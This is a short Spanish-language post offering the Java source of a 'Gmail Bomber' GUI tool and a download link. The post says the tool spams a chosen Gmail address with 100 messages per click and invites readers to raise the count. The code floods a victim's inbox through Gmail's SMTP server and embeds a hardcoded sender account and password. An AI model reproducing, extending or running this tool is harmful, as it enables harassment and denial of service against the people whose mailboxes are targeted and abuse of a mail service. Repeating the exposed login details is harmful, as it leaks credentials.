sencillo programa para hacer spam a cuentas de Gmail....
por defecto puede enviar 100 mensajes a la vez,pero pueden modificar el code
import java.awt.Color;
import java.awt.Font;
import java.awt.TextArea;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.io.UnsupportedEncodingException;
import java.util.Date;
import java.util.Properties;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import javax.mail.Message;
import javax.mail.MessagingException;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.AddressException;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.JTextField;
import javax.swing.UIManager;
public class Estudiando extends JFrame {
private JButton Boom;
private JTextField dame_correo,dame_asunto;
private TextArea dame_cuerpo,mensajes;
private JPanel panel;
private JLabel logo,etiqueta1,etiqueta2,etiqueta3;
public Estudiando(){
super("Gmail Bomber 0.2");
panel = new JPanel();
panel.setBackground(Color.black);
panel.setLayout(null);
Boom= new JButton("Boom!");
Boom.setBackground(Color.ORANGE);
Boom.setForeground(Color.black);
Boom.setBounds(10, 320,80,25);
Boom.setFont(new Font("impact",10,12));
Boom.addMouseListener(new MouseAdapter(){
public void mouseClicked(MouseEvent e){
ExecutorService executor = Executors.newCachedThreadPool();
executor.execute(new Run2(1,100));
}
});
mensajes = new TextArea("Tu Actividad:");
mensajes.setBackground(Color.black);
mensajes.setForeground(Color.orange);
mensajes.setEditable(false);
mensajes.setBounds(200, 70, 280, 320);
mensajes.setText("Actividad");
dame_correo = new JTextField();
dame_correo.setBounds(10, 95, 180, 30);
dame_cuerpo = new TextArea();
dame_cuerpo.setBounds(10, 215, 180, 100);
etiqueta3 = new JLabel("Introduce Cuerpo del mensaje:");
etiqueta3.setBackground(Color.black);
etiqueta3.setForeground(Color.orange);
etiqueta3.setBounds(10, 190, 180, 20);
dame_asunto = new JTextField();
dame_asunto.setBounds(10, 150, 180,30);
etiqueta2 = new JLabel("Introduce Asunto:");
etiqueta2.setBackground(Color.black);
etiqueta2.setForeground(Color.orange);
etiqueta2.setBounds(10, 130,180,20);
logo= new JLabel("Gmail Bomber");
logo.setForeground(Color.orange);
logo.setBackground(Color.black);
logo.setBounds(10, 10, 300, 50);
logo.setFont(new Font("impact",20,40));
etiqueta1 = new JLabel("Introduce Correo Gmail:");
etiqueta1.setBackground(Color.black);
etiqueta1.setForeground(Color.orange);
etiqueta1.setBounds(10, 70, 180, 20);
panel.add(logo);
panel.add(etiqueta1);
panel.add(dame_correo);
panel.add(etiqueta2);
panel.add(dame_asunto);
panel.add(etiqueta3);
panel.add(dame_cuerpo);
panel.add(Boom);
panel.add(mensajes);
add(panel);
setSize(500,450);
setVisible(true);
}
class Bomber2 {
public Bomber2(String asunto)throws UnsupportedEncodingException, AddressException, MessagingException{
Properties props = new Properties();
props.setProperty("mail.smtp.host", "smtp.gmail.com");
props.setProperty("mail.smtp.starttls.enable", "true");
props.setProperty("mail.smtp.port","587");
props.setProperty("mail.smtp.user", "soy Ferreter");
props.setProperty("mail.smtp.auth", "true");
Session session = Session.getDefaultInstance(props);
MimeMessage mensage = new MimeMessage(session);
mensage.setFrom(new InternetAddress("bombergente@Gmail.com"));
//A QUIEN VA
mensage.addRecipient(Message.RecipientType.TO, new InternetAddress(dame_correo.getText()));
//ASUNTO
mensage.setSubject(dame_cuerpo.getText());
mensage.setText("tomala");
Transport t = session.getTransport("smtp");
t.connect("bombergente@Gmail.com","tarkintoder123");
t.sendMessage(mensage,mensage.getAllRecipients());
mensajes.setText(mensajes.getText() + "\n" +
"Nuevo mensaje enviado:" + new Date() + "\n" +
"Destino: " + dame_correo.getText() + "\n" +
"Asunto: " + asunto + "\n" +
"Mensaje: " + dame_cuerpo.getText()+"\n"+"\n");
}
}
class Run2 implements Runnable{
int ini;
int fin;
public Run2(int ini,int fin){
this.ini=ini;
this.fin=fin;
}
public void run(){
for(int msn=ini;msn<fin;msn++){
try {
Bomber2 Bomber = new Bomber2("JAJAJAJA"+msn);
} catch (AddressException e) {}
catch (UnsupportedEncodingException e) {}
catch (MessagingException e) {}
}
}
}
public static void main(String[]args){
try{
UIManager.setLookAndFeel("com.sun.java.swing.plaf.nimbus.NimbusLookAndFeel");
}
catch (Exception e){}
Estudiando Ventana = new Estudiando();
}
}
descarga
http://www.mediafire.com/?5w25btincia0o37